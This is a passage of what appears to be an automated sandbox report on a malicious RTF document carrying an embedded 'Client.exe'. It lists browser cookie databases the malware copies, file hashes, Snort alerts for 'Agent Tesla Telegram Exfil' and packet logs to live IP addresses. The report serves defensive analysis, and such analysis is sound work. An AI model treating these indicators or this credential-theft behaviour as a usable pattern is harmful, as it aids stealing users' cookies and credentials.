
Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.9650411582864293
Encrypted:	false
SSDEEP:	48:T2loMLOpEO5J/KdGU1jX983Gul4kEBrvK5GYWgqRSESXh:inNww9t9wGAE
MD5:	903C35B27A5774A639A90D5332EEF8E0
SHA1:	5A8CE0B6C13D1AF00837AA6CA1AA39000D4EB7CF
SHA-256:	1159B5AE357F89C56FA23C14378FF728251E6BDE6EEA979F528DB11C4030BE74
SHA-512:	076BD35B0D59FFA7A52588332A862814DDF049EE59E27542A2DA10E7A5340758B8C8ED2DEFE78C5B5A89EE54C19A89D49D2B86B49BF5542D76C1D4A378B40277
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C..........g...N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\dazigpcb.bar\Firefox\Profiles\7xwghk55.default\cookies.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3017000
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.08107860342777487
Encrypted:	false
SSDEEP:	48:DO8rmWT8cl+fpNDId7r+gUEl1B6nB6UnUqc8AqwIhY5wXwwAVshT:DOUm7ii+7Ue1AQ98VVY
MD5:	1138F6578C48F43C5597EE203AFF5B27
SHA1:	9B55D0A511E7348E507D818B93F1C99986D33E7B
SHA-256:	EEEDF71E8E9A3A048022978336CA89A30E014AE481E73EF5011071462343FFBF
SHA-512:	6D6D7ECF025650D3E2358F5E2D17D1EC8D6231C7739B60A74B1D8E19D1B1966F5D88CC605463C3E26102D006E84D853E390FFED713971DC1D79EB1AB6E56585E
Malicious:	false
Preview:	SQLite format 3......@ ...........................................................................(.....}..~...}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ohiyg0r5.hds\Chrome\Default\Cookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.9650411582864293
Encrypted:	false
SSDEEP:	48:T2loMLOpEO5J/KdGU1jX983Gul4kEBrvK5GYWgqRSESXh:inNww9t9wGAE
MD5:	903C35B27A5774A639A90D5332EEF8E0
SHA1:	5A8CE0B6C13D1AF00837AA6CA1AA39000D4EB7CF
SHA-256:	1159B5AE357F89C56FA23C14378FF728251E6BDE6EEA979F528DB11C4030BE74
SHA-512:	076BD35B0D59FFA7A52588332A862814DDF049EE59E27542A2DA10E7A5340758B8C8ED2DEFE78C5B5A89EE54C19A89D49D2B86B49BF5542D76C1D4A378B40277
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C..........g...N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ohiyg0r5.hds\Firefox\Profiles\7xwghk55.default\cookies.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3017000
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.08107860342777487
Encrypted:	false
SSDEEP:	48:DO8rmWT8cl+fpNDId7r+gUEl1B6nB6UnUqc8AqwIhY5wXwwAVshT:DOUm7ii+7Ue1AQ98VVY
MD5:	1138F6578C48F43C5597EE203AFF5B27
SHA1:	9B55D0A511E7348E507D818B93F1C99986D33E7B
SHA-256:	EEEDF71E8E9A3A048022978336CA89A30E014AE481E73EF5011071462343FFBF
SHA-512:	6D6D7ECF025650D3E2358F5E2D17D1EC8D6231C7739B60A74B1D8E19D1B1966F5D88CC605463C3E26102D006E84D853E390FFED713971DC1D79EB1AB6E56585E
Malicious:	false
Preview:	SQLite format 3......@ ...........................................................................(.....}..~...}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$PO07082299976.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyaJybdJylp2bG/WWNJbilFGUld/ln:vdsCkWtz8Oz2q/rViXdH/l
MD5:	7CFA404FD881AF8DF49EA584FE153C61
SHA1:	32D9BF92626B77999E5E44780BF24130F3D23D66
SHA-256:	248DB6BD8C5CD3542A5C0AE228D3ACD6D8A7FA0C0C62ABC3E178E57267F6CCD7
SHA-512:	F7CEC1177D4FF3F84F6F2A2A702E96713322AA56C628B49F728CD608E880255DA3EF412DE15BB58DF66D65560C03E68BA2A0DD6FDFA533BC9E428B0637562AEA
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1h..............2h.............@3h..............3h.....z.......p4h.....x...

Static File Info

General

File type:	Rich Text Format data, version 1, ANSI
Entropy (8bit):	3.0618643120917524
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	ICPO07082299976.doc
File size:	33775
MD5:	088e55da11e301419586a37204f3a51c
SHA1:	605322507a7fcde98442a58a10833de83e5025e5
SHA256:	976993901c2dd38d833124be95073dca9af3466423c5de6b675bbcc7a8d5e4f6
SHA512:	0cc776be95a878ebab85bfe2141ce204c45aa43fe15264a460821376e077553f9cbcec623bc388a520e1b442013083c43739c9d82158fc6afe0d38563659a957
SSDEEP:	192:uZfoEfAQWIQfwO/OeYE6YSHq82KoXs3FrRtdyU0eQYi5R9If/kcEvALGkPSGZxWU:YjAwOGeh6YSHd2KxXpQz5Rg/YA9QYD
TLSH:	4FE2BFA4598B84A0F56B85013AECBE650171F2C7F6C42E31676FE531CBE9F813E8548D
File Content Preview:	{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}..{\\generator Riched20 6.3.9600}\viewkind4\uc1..\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objw1\objh1{\\objclass Package}{\*\objdata 010500000200000

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	000000EBh	2	embedded	Package	8383	Client.exe	C:\fakepath\Client.exe	C:\fakepath\Client.exe	no
1	00004308h	2	embedded	Equation.3	3584				no
2	0000654Eh	2	embedded	Equation.3	3072				no

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.22149.154.167.220491824432851779 08/08/22-17:18:57.172404	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49182	443	192.168.2.22	149.154.167.220
192.168.2.22149.154.167.220491754432851779 08/08/22-17:18:22.152203	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49175	443	192.168.2.22	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 8, 2022 17:18:09.742602110 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:09.742650986 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:09.742770910 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:09.752744913 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:09.752798080 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:09.803450108 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:09.803623915 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:09.814230919 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:09.814263105 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:09.814574003 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.019429922 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.019520998 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.555429935 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.592741013 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593228102 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593365908 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.593390942 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593425989 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593569040 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.593588114 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593758106 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593894958 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.593924046 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.593945026 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594204903 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594305992 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.594324112 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594342947 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.594465017 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594568968 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.594583988 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594732046 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594813108 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.594827890 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.594986916 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595083952 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.595098972 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595243931 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595333099 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.595345974 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595552921 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595649004 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.595660925 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595815897 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.595907927 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.595920086 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596085072 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596190929 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596203089 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596332073 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596426964 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596440077 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596513987 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596586943 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596591949 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596607924 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596671104 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596682072 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596750975 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596818924 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596858978 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596873045 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596931934 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.596931934 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.596947908 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597002983 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.597012997 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597093105 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597152948 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597155094 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.597167969 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597207069 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.597232103 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597327948 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597403049 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.597403049 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597419977 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597484112 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.597495079 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597512007 CEST	443	49173	162.159.134.233	192.168.2.22
Aug 8, 2022 17:18:10.597562075 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.605664015 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.606590033 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.622210026 CEST	49173	443	192.168.2.22	162.159.134.233
Aug 8, 2022 17:18:10.671016932 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.700560093 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.700673103 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.701307058 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.739402056 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739437103 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739461899 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739485979 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739518881 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739531994 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.739542961 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739567995 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739568949 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.739592075 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739597082 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.739613056 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739634037 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.739677906 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.739814043 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768718958 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768743038 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768759966 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768775940 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768791914 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768807888 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768826008 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768830061 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768842936 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768853903 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768861055 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768865108 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768878937 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768899918 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768903971 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768930912 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768949986 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.768954039 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.768991947 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.769023895 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769043922 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769124985 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.769138098 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769159079 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769185066 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769197941 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769213915 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.769227028 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.769272089 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.798885107 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798909903 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798930883 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798952103 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798969030 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.798971891 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798994064 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.798995018 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799015045 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799035072 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799037933 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799056053 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799076080 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799077988 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799096107 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799117088 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799118042 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799137115 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799156904 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799159050 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799177885 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799197912 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799200058 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799217939 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799238920 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799240112 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799258947 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799279928 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799284935 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799299002 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799319029 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799316883 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799344063 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799376011 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799381018 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799400091 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799420118 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799439907 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799439907 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799460888 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799477100 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799482107 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799500942 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799504995 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799525976 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799549103 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799554110 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799582005 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799601078 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799603939 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799629927 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799657106 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799681902 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799691916 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799705029 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799731970 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.799731970 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799762011 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.799794912 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.800220013 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828169107 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828233957 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828263044 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828304052 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828330040 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828330040 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828356028 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828360081 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828383923 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828404903 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828409910 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828437090 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828460932 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828466892 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828486919 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828509092 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828512907 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828538895 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828563929 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828568935 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828589916 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828609943 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828614950 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828640938 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828665018 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828672886 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828691006 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828711987 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828716040 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828741074 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828764915 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828789949 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828799963 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828815937 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828841925 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828845024 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828866005 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828886986 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.828891039 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828911066 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828931093 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828948975 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828969002 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.828993082 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829024076 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829054117 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829078913 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829080105 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829098940 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829104900 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829130888 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829137087 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829154968 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829180002 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829190969 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829205036 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829226017 CEST	49174	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:10.829229116 CEST	80	49174	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:10.829253912 CEST	80	49174	109.206.241.81	192.168.2.22
